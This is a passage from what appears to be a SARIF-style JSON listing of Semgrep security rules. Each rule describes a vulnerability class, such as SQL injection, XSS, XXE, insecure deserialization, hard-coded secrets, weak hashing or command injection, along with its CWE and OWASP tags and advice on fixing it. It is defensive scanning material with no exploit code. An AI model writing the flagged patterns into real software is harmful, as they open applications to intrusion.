[https://www.psycopg.org/docs/cursor.html#cursor.executemany](https://www.psycopg.org/docs/cursor.html#cursor.executemany)\n - [https://www.psycopg.org/docs/cursor.html#cursor.mogrify](https://www.psycopg.org/docs/cursor.html#cursor.mogrify)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.psycopg-sqli.psycopg-sqli","id":"python.aws-lambda.security.psycopg-sqli.psycopg-sqli","name":"python.aws-lambda.security.psycopg-sqli.psycopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.psycopg-sqli.psycopg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","id":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","name":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar."},"help":{"markdown":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-baseurl.swift-webview-config-base-url)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-baseurl.swift-webview-config-base-url","id":"swift.webview.webview-baseurl.swift-webview-config-base-url","name":"swift.webview.webview-baseurl.swift-webview-config-base-url","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-baseurl.swift-webview-config-base-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","id":"csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","name":"csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\"."},"help":{"markdown":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-6.0)\n","text":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\"."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","id":"csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","name":"csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities."},"help":{"markdown":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile)\n - [https://cwe.mitre.org/data/definitions/250.html](https://cwe.mitre.org/data/definitions/250.html)\n - [https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user)\n","text":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities."},"helpUri":"https://semgrep.dev/r/dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","id":"dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","name":"dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-exec.user-exec)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-exec.user-exec","id":"python.django.security.injection.code.user-exec.user-exec","name":"python.django.security.injection.code.user-exec.user-exec","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-exec.user-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"help":{"markdown":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization)\n - [https://frohoff.github.io/appseccali-marshalling-pickles/](https://frohoff.github.io/appseccali-marshalling-pickles/)\n - [https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi](https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi)\n - [https://youtu.be/t_aw1mDNhzI](https://youtu.be/t_aw1mDNhzI)\n - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)\n - [https://github.com/openjdk/jdk/blob/master/src/java.rmi/share/classes/sun/rmi/server/UnicastRef.java#L303C4-L331](https://github.com/openjdk/jdk/blob/master/src/java.rmi/share/classes/sun/rmi/server/UnicastRef.java#L303C4-L331)\n","text":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"helpUri":"https://semgrep.dev/r/java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","id":"java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","name":"java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"help":{"markdown":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request)\n - [https://www.codejava.net/java-se/ftp/connect-and-login-to-a-ftp-server](https://www.codejava.net/java-se/ftp/connect-and-login-to-a-ftp-server)\n - [https://commons.apache.org/proper/commons-net/apidocs/org/apache/commons/net/ftp/FTPClient.html](https://commons.apache.org/proper/commons-net/apidocs/org/apache/commons/net/ftp/FTPClient.html)\n","text":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`."},"help":{"markdown":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss)\n - [https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)](https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS))\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Fstored](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Fstored)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Freflected](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Freflected)\n","text":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","id":"java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","name":"java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.gosql-sqli.gosql-sqli)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n","text":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","id":"go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","name":"go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.gosql-sqli.gosql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"help":{"markdown":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser)\n","text":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","id":"java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","name":"java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","id":"csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","name":"csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","id":"java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","name":"java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.pycryptodome.org/src/hash/ripemd160](https://www.pycryptodome.org/src/hash/ripemd160)\n - [https://www.pycryptodome.org/src/hash/sha1](https://www.pycryptodome.org/src/hash/sha1)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n","text":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","id":"python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","name":"python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://flask.palletsprojects.com/en/2.3.x/logging/](https://flask.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","id":"python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","name":"python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits"},"help":{"markdown":"RSA keys should be at least 2048 bits\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","id":"go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","name":"go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially 